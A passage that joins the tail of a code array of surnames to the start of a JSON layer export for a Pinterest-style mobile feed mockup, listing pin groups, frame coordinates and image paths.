"Chupasko",
"Church",
"Ciampaglia",
"Cicero",
"Cifarelli",
"Claffey",
"Clancy",
"Clark",
"Clement",
"Clifton",
"Clow",
"Coblenz",
"Coito",
"Coldren",
"Colella",
"Collard",
"Collis",
"Compton",
"Compton",
"Comstock",
"Concino",
"Condodina",
"Connors",
"Corey",
"Cornish",
"Cosmides",
"Counter",
"Coutaux",
"Crawford",
"Crocker",
"Croshaw",
"Croxen",
"Croxton",
"Cui",
"Currier",
"Cutler",
"Cvek",
"Cyders",
"daSilva",
"Daldalian",
"Daly",
"D'Ambra",
"Danieli",
"Dante",
"Dapice",
"D'arcangelo",
"Das",
"Dasgupta",
"Daskalu",
"David",
"Dawkins",
"DeGennaro",
"DeLaPena",
"del'Enclos",
"deRousse",
"Debroff",
"Dees",
"Defeciani",
"Delattre",
"Deleon-Rendon",
"Delger",
"Dell'acqua",
"Deming",
"Dempster",
"Demusz",
"Denault",
"Denham",
"Denison",
"Desombre",
"Deutsch",
"D'fini",
"Dicks",
"Diefenbach",
"Difabio",
"Difronzo",
"Dilworth",
"Dionysius",
"Dirksen",
"Dockery",
"Doherty",
"Donahue",
"Donner",
"Doonan",
"Dore",
"Dorf",
"Dosi",
"Doty",
"Doug",
"Dowsland",
"Drinker",
"D'souza",
"Duffin",
"Durrett",
"Dussault",
"Dwyer",
"Eardley",
"Ebeling",
"Eckel",
"Edley",
"Edner",
"Edward",
"Eickenhorst",
"Eliasson",
"Elmendorf",
"Elmerick",
"Elvis",
"Encinas",
"Enyeart",
"Eppling",
"Erbach",
"Erdman",
"Erdos",
"Erez",
"Espinoza",
"Estes",
"Etter",
"Euripides",
"Everett",
"Fabbris",
"Fagan",
"Faioes",
"Falco-Acosta",
"Falorsi",
"Faris",
"Farone",
"Farren",
"Fasso'",
"Fates",
"Feigenbaum",
"Fejzo",
"Feldman",
"Fernald",
"Fernandes",
"Ferrante",
"Ferriell",
"Feuer",
"Fido",
"Field",
"Fink",
"Finkelstein",
"Finnegan",
"Fiorina",
"Fisk",
"Fitzmaurice",
"Flier",
"Flores",
"Folks",
"Forester",
"Fortes",
"Fortier",
"Fossey",
"Fossi",
"Francisco",
"Franklin-Kenea",
"Franz",
"Frazier-Davis",
"Freid",
"Freundlich",
"Fried",
"Friedland",
"Frisken",
"Frowiss",
"Fryberger",
"Frye",
"Fujii-Abe",
"Fuller",
"Furth",
"Fusaro",
"Gabrielli",
"Gaggiotti",
"Galeotti",
"Galwey",
"Gambini",
"Garfield",
"Garman",
"Garonna",
"Geller",
"Gemberling",
"Georgi",
"Gerrett",
"Ghorai",
"Gibbens",
"Gibson",
"Gilbert",
"Gili",
"Gill",
"Gillispie",
"Gist",
"Gleason",
"Glegg",
"Glendon",
"Goldfarb",
"Goncalves",
"Good",
"Goodearl",
"Goody",
"Gozzi",
"Gravell",
"Greenberg",
"Greenfeld",
"Griffiths",
"Grigoletto",
"Grummell",
"Gruner",
"Gruppe",
"Guenthart",
"Gunn",
"Guo",
"Ha",
"Haar",
"Hackman",
"Hackshaw",
"Haley",
"Halkias",
"Hallowell",
"Halpert",
"Hambarzumjan",
"Hamer",
"Hammerness",
"Hand",
"Hanssen",
"Harding",
"Hargraves",
"Harlow",
"Harrigan",
"Hartman",
"Hartmann",
"Hartnett",
"Harwell",
"Haviaras",
"Hawkes",
"Hayes",
"Haynes",
"Hazlewood",
"Heermans",
"Heft",
"Heiland",
"Hellman",
"Hellmiss",
"Helprin",
"Hemphill",
"Henery",
"Henrichs",
"Hernandez",
"Herrera",
"Hester",
"Heubert",
"Heyeck",
"Himmelfarb",
"Hind",
"Hirst",
"Hitchcock",
"Hoang",
"Hock",
"Hoffer",
"Hoffman",
"Hokanson",
"Hokoda",
"Holmes",
"Holoien",
"Holter",
"Holway",
"Holzman",
"Hooker",
"Hopkins",
"Horsley",
"Hoshida",
"Hostage",
"Hottle",
"Howard",
"Hoy",
"Huey",
"Huidekoper",
"Hungerford",
"Huntington",
"Hupp",
"Hurtubise",
"Hutchings",
"Hyde",
"Iaquinta",
"Ichikawa",
"Igarashi",
"Inamura",
"Inniss",
"Isaac",
"Isaievych",
"Isbill",
"Isserman",
"Iyer",
"Jacenko",
"Jackson",
"Jagers",
"Jagger",
"Jagoe",
"Jain",
"Jamil",
"Janjigian",
"Jarnagin",
"Jarrell",
"Jay",
"Jeffers",
"Jellis",
"Jenkins",
"Jespersen",
"Jewett",
"Johannesson",
"Johannsen",
"Johns",
"Jolly",
"Jorgensen",
"Jucks",
"Juliano",
"Julious",
"Kabbash",
"Kaboolian",
"Kafadar",
"Kalbfleisch",
"Kaligian",
"Kalil",
"Kalinowski",
"Kalman",
"Kamel",
"Kangis",
"Karpouzes",
"Kassower",
"Kasten",
"Kawachi",
"Kee",
"Keenan",
"Keepper",
"Keith",
"Kelker",
"Kelsey",
"Kempton",
"Kemsley",
"Kendall",
"Kerry",
"Keul",
"Khong",
"Kimmel",
"Kimmett",
"Kimura",
"Kindall",
"Kinsley",
"Kippenberger",
"Kirscht",
"Kittridge",
"Kleckner",
"Kleiman",
"Kleinfelder",
"Klemperer",
"Kling",
"Klinkenborg",
"Klint",
"Knuff",
"Kobrick",
"Koch",
"Kohn",
"Koivumaki",
"Kommer",
"Koniaris",
"Konrad",
"Kool",
"Korzybski",
"Kotter",
"Kovaks",
"Kraemer",
"Krailo",
"Krasney",
"Kraus",
"Kroemer",
"Krysiak",
"Kuenzli",
"Kumar",
"Kusman",
"Kuwabara",
"La",
"Labunka",
"Lafler",
"Laing",
"Lallemant",
"Landes",
"Lankes",
"Lantieri",
"Lanzit",
"Laserna",
"Lashley",
"Lawless",
"Lecar",
"Lecce",
"Leclercq",
"Leite",
"Lenard",
"l'Enclos",
"Lesser",
"Lessi",
"Liakos",
"Lidano",
"Liem",
"Light",
"Lightfoot",
"Lim",
"Linares",
"Linda",
"Linder",
"Line",
"Linehan",
"Linzee",
"Lippmann",
"Lipponen",
"Little",
"Litvak",
"Livernash",
"Livi",
"Livolsi",
"Lizardo",
"Locatelli",
"Longworth",
"Loss",
"Loveman",
"Lowenstein",
"Loza",
"Lubin",
"Lucas",
"Luciano",
"Luczkow",
"Luecke",
"Lunetta",
"Luoma",
"Lussier",
"Lutcavage",
"Luzader",
"Ma",
"Maccormac",
"Macdonald",
"Maceachern",
"Macintyre",
"Mackenney",
"MacMillan",
"Macy",
"Madigan",
"Maggio",
"Mahony",
"Maier",
"Maine-Hershey",
"Maisano",
"Malatesta",
"Maller",
"Malova",
"Manalis",
"Mandel",
"Manganiello",
"Mantovan",
"March",
"Marchbanks",
"Marcus",
"Margalit",
"Margetts",
"Marques",
"Martinez",
"Martochio",
"Marton",
"Marubini",
"Mass",
"Matalka",
"Matarazzo",
"Matsukata",
"Mattson",
"Mauzy",
"May",
"Mazzali",
"Mazziotta",
"Mcbride",
"Mccaffery",
"Mccall",
"Mcclearn",
"Mcdowell",
"Mcelroy",
"McFadden",
"Mcghee",
"Mcgoldrick",
"McIlroy",
"Mcintosh",
"Mckenna",
"Mclane",
"Mclaren",
"Mcnealy",
"Mcnulty",
"Meccariello",
"Memisoglu",
"Menzies",
"Merikoski",
"Merlani",
"Merminod",
"Merseth",
"Merz",
"Metelka",
"Metropolis",
"Meurer",
"Michelman",
"Middle",
"Mieher",
"Mills",
"Minh",
"Mini",
"Minichiello",
"Gonzalez",
"Mitropoulos",
"Mittal",
"Mocroft",
"Modestino",
"Moeller",
"Mohr",
"Moiamedi",
"Monque",
"Montilio",
"MooreDeCh.",
"Morani",
"Moreton",
"Morrison",
"Morrow",
"Mortimer",
"Mosher",
"Mosler",
"Mostafavi",
"Motooka",
"Mudarri",
"Muello",
"Mugnai",
"Mulkern",
"Mulroy",
"Mumford",
"Mussachio",
"Naddeo",
"Napolitano",
"Nardi",
"Nardone",
"Naviaux",
"Nayduch",
"Nelson",
"Nenna",
"Nesci",
"Neuman",
"Newfeld",
"Newlin",
"Ng",
"Ni",
"Nickerson",
"Nickoloff",
"Nisenson",
"Nitabach",
"Notman",
"Nuzum",
"Ocougne",
"Ogata",
"Oh",
"O'hagan",
"Oldford",
"Olsen",
"Olson",
"Olszewski",
"O'malley",
"Oman",
"O'meara",
"Opel",
"Oray",
"Orfield",
"Orsi",
"Ospina",
"Ostrowski",
"Ottaviani",
"Otten",
"Ouchida",
"Ovid",
"PaesDealmeida",
"Paine",
"Palayoor",
"Palepu",
"Pallara",
"Palmitesta",
"Panadero",
"Panizzon",
"Pantilla",
"Paoletti",
"Parmeggiani",
"Parris",
"Partridge",
"Pascucci",
"Patefield",
"Patrick",
"Pattullo",
"Pavetti",
"Pavlon",
"Pawloski",
"Paynter",
"Peabody",
"Pearlberg",
"Pederson",
"Peishel",
"Penny",
"Pereira",
"Perko",
"Perlak",
"Perlman",
"Perna",
"Perone",
"Perrimon",
"Peters",
"Petruzello",
"Pettibone",
"Pettit",
"Pfister",
"Pilbeam",
"Pinot",
"Plancon",
"Plant",
"Plasket",
"Plous",
"Po",
"Pocobene",
"Poincaire",
"Pointer",
"Poirier",
"Polak",
"Polanyi",
"Politis",
"Poma",
"Poolman",
"Powers",
"Presper",
"Preucel",
"Prevost",
"Pritchard",
"Pritz",
"Proietti",
"Prothrow-Stith",
"Puccia",
"Pugh",
"Pynchon",
"Quaday",
"Quetin",
"Rabe",
"Rabkin",
"Radeke",
"Rajagopalan",
"Raney",
"Rangan",
"Rankin",
"Rapple",
"Rayport",
"Redden-Tyler",
"Reedquist",
"Cunningham",
"Reinold",
"Remak",
"Renick",
"Repetto",
"Resnik",
"Rhea",
"Richmond",
"Rielly",
"Rindos",
"Rineer",
"Rish",
"Rivera",
"Robinson",
"Rocha",
"Roesler",
"Rogers",
"Ronen",
"Row",
"Royal",
"Ru",
"Ruan",
"Ruderman",
"Ruescher",
"Rush",
"Ryu",
"Sabatello",
"Sadler",
"Safire",
"Sahu",
"Sali",
"Samson",
"Sanchez-Ramirez",
"Sanna",
"Sapers",
"Sarin",
"Sartore",
"Sase",
"Satin",
"Satta",
"Satterthwaite",
"Sawtell",
"Sayied",
"Scarponi",
"Scepan",
"Scharf",
"Scharlemann",
"Scheiner",
"Schiano",
"Schifini",
"Schilling",
"Schmitt",
"Schossberger",
"Schuman",
"Schutte",
"Schuyler",
"Schwan",
"Schwickrath",
"Scovel",
"Scudder",
"Seaton",
"Seeber",
"Segal",
"Sekler",
"Selvage",
"Sen",
"Sennett",
"Seterdahl",
"Sexton",
"Seyfert",
"Shaikh",
"Shakis",
"Shankland",
"Shanley",
"Shar",
"Shatrov",
"Shavelson",
"Shea",
"Sheats",
"Shepherd",
"Sheppard",
"Shepstone",
"Shesko",
"Shia",
"Shibata",
"Shimon",
"Siesto",
"Sigalot",
"Sigini",
"Signa",
"Silverman",
"Silvetti",
"Sinsabaugh",
"Sirilli",
"Sites",
"Skane",
"Skerry",
"Skoda",
"Sloan",
"Slowe",
"Smilow",
"Sniffen",
"Snodgrass",
"Socolow",
"Solon",
"Somers",
"Sommariva",
"Sorabella",
"Sorg",
"Sottak",
"Soukup",
"Soule",
"Soultanian",
"Spanier",
"Sparrow",
"Spaulding",
"Speizer",
"Spence",
"Sperber",
"Spicer",
"Spiegelhalter",
"Spiliotis",
"Spinrad",
"StMartin",
"Stalvey",
"Stam",
"Stang",
"Stassinopolus",
"States",
"Statlender",
"Stefani",
"Steiner",
"Stephanian",
"Stepniewska",
"Stewart-Oaten",
"Stiepock",
"Stillwell",
"Stock",
"Stockton",
"Stockwell",
"Stolzenberg",
"Stonich",
"Storer",
"Stott",
"Strange",
"Strauch",
"Streiff",
"Stringer",
"Sullivan",
"Sumner",
"Suo",
"Surdam",
"Sweeting",
"Sweetser",
"Swindle",
"Tagiuri",
"Tai",
"Talaugon",
"Tambiah",
"Tandler",
"Tanowitz",
"Tatar",
"Taveras",
"Tawn",
"Tcherepnin",
"Teague",
"Temes",
"Temmer",
"Tenney",
"Terracini",
"Than",
"Thavaneswaran",
"Theodos",
"Thibault",
"Thisted",
"Thomsen",
"Throop",
"Tierney",
"Till",
"Timmons",
"Tofallis",
"Tollestrup",
"Tolls",
"Tolman",
"Tomford",
"Toomer",
"Topulos",
"Torresi",
"Torske",
"Towler",
"Toye",
"Traebert",
"Trenga",
"Trewin",
"Tringali",
"Troiani",
"Troy",
"Truss",
"Tsiatis",
"Tsomides",
"Tsukurov",
"Tuck",
"Tudge",
"Tukan",
"Turano",
"Turek",
"Tuttle",
"Twells",
"Tzamarias",
"Ullman",
"Untermeyer",
"Upsdell",
"Urban",
"Urdang-Brown",
"Usdan",
"Uzuner",
"Vacca",
"Waite",
"Valberg",
"Valencia",
"Wales",
"Wallenberg",
"Walter",
"vanAllen",
"VanZwet",
"Vandenberg",
"Vanheeckeren",
"Warshafsky",
"Wasowska",
"Vasquez",
"Waugh",
"Weighart",
"Weingarten",
"Weinhaus",
"Weissbourd",
"Weissman",
"Velasquez",
"Welles",
"Welsh",
"Wengret",
"Venne",
"Verghese",
"Wescott",
"Wetzel",
"Whately",
"Whilton",
"White",
"Whitla",
"Whittaker",
"Viana",
"Viano",
"Wiedersheim",
"Wiener",
"Viens",
"Vignola",
"Wilder",
"Wilhelm",
"Wilk",
"Wilkin",
"Wilkinson",
"Villarreal",
"Willstatter",
"Wilson",
"Vitali",
"Viviani",
"Voigt",
"Wolk",
"VonHoffman",
"Woo",
"Wooden",
"Woods",
"Woods-Powell",
"Vorhaus",
"Votey",
"Yacono",
"Yamane",
"Yankee",
"Yarchuk",
"Yates",
"Ybarra",
"Yedidia",
"Yesson",
"Yetiv",
"Yoffe",
"Yoo",
"Youk-See",
"Yu",
"Zachary",
"Zahedi",
"Zangwill",
"Zegans",
"Zerbini",
"Zoldak",
"Zucconi",
"Zurn",
"Zwiers",
"Zytowski"
};
|
{
"pile_set_name": "Github"
}
|
[
{
"objectId": "AD5E4939-C4C1-4C5B-B0DD-5580DAE9D61F",
"kind": "group",
"name": "pinfeed_home",
"originalName": "pinfeed-home",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 344,
"height": 981
},
"visible": false,
"metadata": {
"opacity": 1
},
"children": [
{
"objectId": "F721EBF1-E98B-41F7-A896-21EA0EBFF461",
"kind": "group",
"name": "pin_1",
"originalName": "pin-1",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 164,
"height": 220
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_1-rjcymuvc.png",
"frame": {
"x": 16,
"y": 80,
"width": 164,
"height": 220
}
},
"children": []
},
{
"objectId": "56F2F4FA-EC9C-49E9-A462-0D9009ACC10F",
"kind": "group",
"name": "pin_2",
"originalName": "pin-2",
"maskFrame": {
"x": 0,
"y": 0,
"width": 164,
"height": 231
},
"layerFrame": {
"x": 196,
"y": 80,
"width": 164,
"height": 231
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_2-ntzgmky0.png",
"frame": {
"x": 196,
"y": 80,
"width": 164,
"height": 231
}
},
"children": []
},
{
"objectId": "D97CA42B-9CC3-47D2-A3D3-F344090B6F98",
"kind": "group",
"name": "pin_3",
"originalName": "pin-3",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 328,
"width": 164,
"height": 231
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_3-rdk3q0e0.png",
"frame": {
"x": 16,
"y": 328,
"width": 164,
"height": 231
}
},
"children": []
},
{
"objectId": "799B8FE9-93BC-4007-9DE9-1EE9EB5A73F2",
"kind": "group",
"name": "pin_4",
"originalName": "pin-4",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 339,
"width": 164,
"height": 231
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_4-nzk5qjhg.png",
"frame": {
"x": 196,
"y": 339,
"width": 164,
"height": 231
}
},
"children": []
},
{
"objectId": "77A2538E-0983-4E2E-B7B2-48146AA222BF",
"kind": "group",
"name": "pin_5",
"originalName": "pin-5",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 587,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_5-nzdbmjuz.png",
"frame": {
"x": 16,
"y": 587,
"width": 164,
"height": 204
}
},
"children": []
},
{
"objectId": "90EFE1EA-AD20-4B75-9E11-61DCB0CC7F46",
"kind": "group",
"name": "pin_6",
"originalName": "pin-6",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 598,
"width": 164,
"height": 231
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_6-otbfrkux.png",
"frame": {
"x": 196,
"y": 598,
"width": 164,
"height": 231
}
},
"children": []
},
{
"objectId": "5C922135-37C0-44BF-B210-179D1AD45DDD",
"kind": "group",
"name": "pin_7",
"originalName": "pin-7",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 819,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_7-num5mjix.png",
"frame": {
"x": 16,
"y": 819,
"width": 164,
"height": 204
}
},
"children": []
},
{
"objectId": "993CA360-B378-4CD9-8A90-4AC18B1C2B97",
"kind": "group",
"name": "pin_8",
"originalName": "pin-8",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 857,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_8-otkzq0ez.png",
"frame": {
"x": 196,
"y": 857,
"width": 164,
"height": 204
}
},
"children": []
}
]
},
{
"objectId": "83870206-EB7C-4954-8979-F8B86F782D35",
"kind": "group",
"name": "pinfeed_food",
"originalName": "pinfeed-food",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 344,
"height": 943
},
"visible": false,
"metadata": {
"opacity": 1
},
"children": [
{
"objectId": "62BE05E4-6607-43ED-9F30-1ECA510B668A",
"kind": "group",
"name": "pin_11",
"originalName": "pin-1",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 164,
"height": 220
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_1-njjcrta1.png",
"frame": {
"x": 16,
"y": 80,
"width": 164,
"height": 220
}
},
"children": []
},
{
"objectId": "D2C74FD2-258E-4A83-BDAB-0B8435013D6E",
"kind": "group",
"name": "pin_21",
"originalName": "pin-2",
"maskFrame": {
"x": 0,
"y": 0,
"width": 164,
"height": 260
},
"layerFrame": {
"x": 196,
"y": 80,
"width": 164,
"height": 260
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_2-rdjdnzrg.png",
"frame": {
"x": 196,
"y": 80,
"width": 164,
"height": 260
}
},
"children": []
},
{
"objectId": "FC26A792-CB6F-49AC-950D-9DC41E308B4B",
"kind": "group",
"name": "pin_31",
"originalName": "pin-3",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 328,
"width": 164,
"height": 231
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_3-rkmynke3.png",
"frame": {
"x": 16,
"y": 328,
"width": 164,
"height": 231
}
},
"children": []
},
{
"objectId": "4E5074CE-07C6-469E-89E3-306527188965",
"kind": "group",
"name": "pin_41",
"originalName": "pin-4",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 368,
"width": 164,
"height": 231
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_4-neu1mdc0.png",
"frame": {
"x": 196,
"y": 368,
"width": 164,
"height": 231
}
},
"children": []
},
{
"objectId": "2BC01B5C-0CB6-467A-A68D-26CA70912243",
"kind": "group",
"name": "pin_51",
"originalName": "pin-5",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 587,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_5-mkjdmdfc.png",
"frame": {
"x": 16,
"y": 587,
"width": 164,
"height": 204
}
},
"children": []
},
{
"objectId": "98A8A9E7-A54E-4EBF-8FEF-561EDEA825E3",
"kind": "group",
"name": "pin_61",
"originalName": "pin-6",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 627,
"width": 164,
"height": 260
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_6-othboee5.png",
"frame": {
"x": 196,
"y": 627,
"width": 164,
"height": 260
}
},
"children": []
},
{
"objectId": "DAA74E1A-3C42-4DED-8340-80D1F793D7FF",
"kind": "group",
"name": "pin_71",
"originalName": "pin-7",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 819,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_7-refbnzrf.png",
"frame": {
"x": 16,
"y": 819,
"width": 164,
"height": 204
}
},
"children": []
}
]
},
{
"objectId": "A3716186-382C-42C9-BB9C-A6E59D82CD70",
"kind": "group",
"name": "pinfeed_animals",
"originalName": "pinfeed-animals",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 344,
"height": 1001
},
"visible": false,
"metadata": {
"opacity": 1
},
"children": [
{
"objectId": "59946C66-E6AA-4054-8D82-199187871C61",
"kind": "group",
"name": "pin_12",
"originalName": "pin-1",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 164,
"height": 248
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_1-ntk5ndzd.png",
"frame": {
"x": 16,
"y": 80,
"width": 164,
"height": 248
}
},
"children": []
},
{
"objectId": "93B93DEF-45FC-4EA9-AFC1-B258ED72D64E",
"kind": "group",
"name": "pin_22",
"originalName": "pin-2",
"maskFrame": {
"x": 0,
"y": 0,
"width": 164,
"height": 248
},
"layerFrame": {
"x": 196,
"y": 80,
"width": 164,
"height": 248
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_2-otncotne.png",
"frame": {
"x": 196,
"y": 80,
"width": 164,
"height": 248
}
},
"children": []
},
{
"objectId": "ED594982-D7FA-4697-ADAB-CF409FBD4980",
"kind": "group",
"name": "pin_32",
"originalName": "pin-3",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 356,
"width": 164,
"height": 248
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_3-ruq1otq5.png",
"frame": {
"x": 16,
"y": 356,
"width": 164,
"height": 248
}
},
"children": []
},
{
"objectId": "F3B523B7-A967-496C-A9DE-00AAFEBCBB94",
"kind": "group",
"name": "pin_42",
"originalName": "pin-4",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 356,
"width": 164,
"height": 315
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_4-rjncntiz.png",
"frame": {
"x": 196,
"y": 356,
"width": 164,
"height": 315
}
},
"children": []
},
{
"objectId": "7F273221-DD50-4EA7-A14D-956AC7385437",
"kind": "group",
"name": "pin_5_copy",
"originalName": "pin-5 copy",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 864,
"width": 164,
"height": 217
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_5_copy-n0yynzmy.png",
"frame": {
"x": 16,
"y": 864,
"width": 164,
"height": 217
}
},
"children": []
},
{
"objectId": "98D4B4CB-A3A7-4507-B1D1-89E6E8E36C14",
"kind": "group",
"name": "pin_52",
"originalName": "pin-5",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 632,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_5-othenei0.png",
"frame": {
"x": 16,
"y": 632,
"width": 164,
"height": 204
}
},
"children": []
},
{
"objectId": "D825B9A5-940B-4E5E-93C0-FF09D9B8062A",
"kind": "group",
"name": "pin_81",
"originalName": "pin-8",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 699,
"width": 164,
"height": 256
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_8-rdgynui5.png",
"frame": {
"x": 196,
"y": 699,
"width": 164,
"height": 256
}
},
"children": []
}
]
},
{
"objectId": "8432A588-33C9-483A-98BE-F0E75DFFFDE8",
"kind": "group",
"name": "pinfeed_pfy",
"originalName": "pinfeed-pfy",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 344,
"height": 887
},
"visible": true,
"metadata": {
"opacity": 1
},
"children": [
{
"objectId": "0922133E-FC09-4AA1-8B65-73AEB957DC6E",
"kind": "group",
"name": "pin_13",
"originalName": "pin-1",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 80,
"width": 164,
"height": 220
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_1-mdkymjez.png",
"frame": {
"x": 16,
"y": 80,
"width": 164,
"height": 220
}
},
"children": []
},
{
"objectId": "5DE0018C-0B0C-4BB4-BD93-4EE8A06CCB43",
"kind": "group",
"name": "pin_23",
"originalName": "pin-2",
"maskFrame": {
"x": 0,
"y": 0,
"width": 164,
"height": 164
},
"layerFrame": {
"x": 196,
"y": 80,
"width": 164,
"height": 164
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_2-nurfmdax.png",
"frame": {
"x": 196,
"y": 80,
"width": 164,
"height": 164
}
},
"children": []
},
{
"objectId": "3B7E58C6-9012-474B-87B4-618BDCE905C3",
"kind": "group",
"name": "pin_33",
"originalName": "pin-3",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 328,
"width": 164,
"height": 124
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_3-m0i3rtu4.png",
"frame": {
"x": 16,
"y": 328,
"width": 164,
"height": 124
}
},
"children": []
},
{
"objectId": "0F5ECDE9-DE14-4C7C-8E19-8FD7D10F91F5",
"kind": "group",
"name": "pin_43",
"originalName": "pin-4",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 272,
"width": 164,
"height": 231
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_4-mey1rune.png",
"frame": {
"x": 196,
"y": 272,
"width": 164,
"height": 231
}
},
"children": []
},
{
"objectId": "100EEC5C-46AD-49F6-84A8-92A50A6C3B19",
"kind": "group",
"name": "pin_53",
"originalName": "pin-5",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 480,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_5-mtawruvd.png",
"frame": {
"x": 16,
"y": 480,
"width": 164,
"height": 204
}
},
"children": []
},
{
"objectId": "68E41EF0-819A-4EE6-8A10-244DAEF8B641",
"kind": "group",
"name": "pin_62",
"originalName": "pin-6",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 531,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_6-njhfndff.png",
"frame": {
"x": 196,
"y": 531,
"width": 164,
"height": 204
}
},
"children": []
},
{
"objectId": "D13DD016-6464-4F5F-B985-7B0B13EB8AE6",
"kind": "group",
"name": "pin_72",
"originalName": "pin-7",
"maskFrame": null,
"layerFrame": {
"x": 16,
"y": 712,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_7-rdezreqw.png",
"frame": {
"x": 16,
"y": 712,
"width": 164,
"height": 204
}
},
"children": []
},
{
"objectId": "878CABA4-F044-4E22-9155-869D7004CD62",
"kind": "group",
"name": "pin_82",
"originalName": "pin-8",
"maskFrame": null,
"layerFrame": {
"x": 196,
"y": 763,
"width": 164,
"height": 204
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-pin_8-odc4q0fc.png",
"frame": {
"x": 196,
"y": 763,
"width": 164,
"height": 204
}
},
"children": []
}
]
},
{
"objectId": "E90CC29C-10CB-461B-8D55-2DD6A2A383A1",
"kind": "group",
"name": "status_bar",
"originalName": "status-bar",
"maskFrame": null,
"layerFrame": {
"x": 0,
"y": 0,
"width": 375,
"height": 20
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-status_bar-rtkwq0my.png",
"frame": {
"x": 0,
"y": 0,
"width": 375,
"height": 20
}
},
"children": []
},
{
"objectId": "7922C07A-A5A7-40C4-B748-9F7A82DAF6F1",
"kind": "group",
"name": "tab_bar",
"originalName": "tab-bar",
"maskFrame": null,
"layerFrame": {
"x": 0,
"y": 613,
"width": 375,
"height": 54
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-tab_bar-nzkymkmw.png",
"frame": {
"x": 0,
"y": 613,
"width": 375,
"height": 54
}
},
"children": []
},
{
"objectId": "88B51D07-3F47-4469-A306-071BD7731153",
"kind": "group",
"name": "topic_tabs",
"originalName": "topic-tabs",
"maskFrame": null,
"layerFrame": {
"x": 0,
"y": 23,
"width": 460,
"height": 52
},
"visible": true,
"metadata": {
"opacity": 1
},
"children": [
{
"objectId": "3819C30A-1130-4A0D-98DE-6ACF4879471B",
"kind": "group",
"name": "animals",
"originalName": "animals",
"maskFrame": null,
"layerFrame": {
"x": 369,
"y": 41,
"width": 62,
"height": 13
},
"visible": true,
"metadata": {
"opacity": 1
},
"image": {
"path": "images/Layer-animals-mzgxoumz.png",
"frame": {
"x": 369,
"y": 41,
"width": 62,
"height": 13
}
},
"children": [
{
"objectId": "9E255929-398A-493A-83FB-E561F282E8A8",
"kind": "group",
"name": "animals_selected",
"originalName": "animals-selected",
"maskFrame": null,
"layerFrame": {
"x": 355,
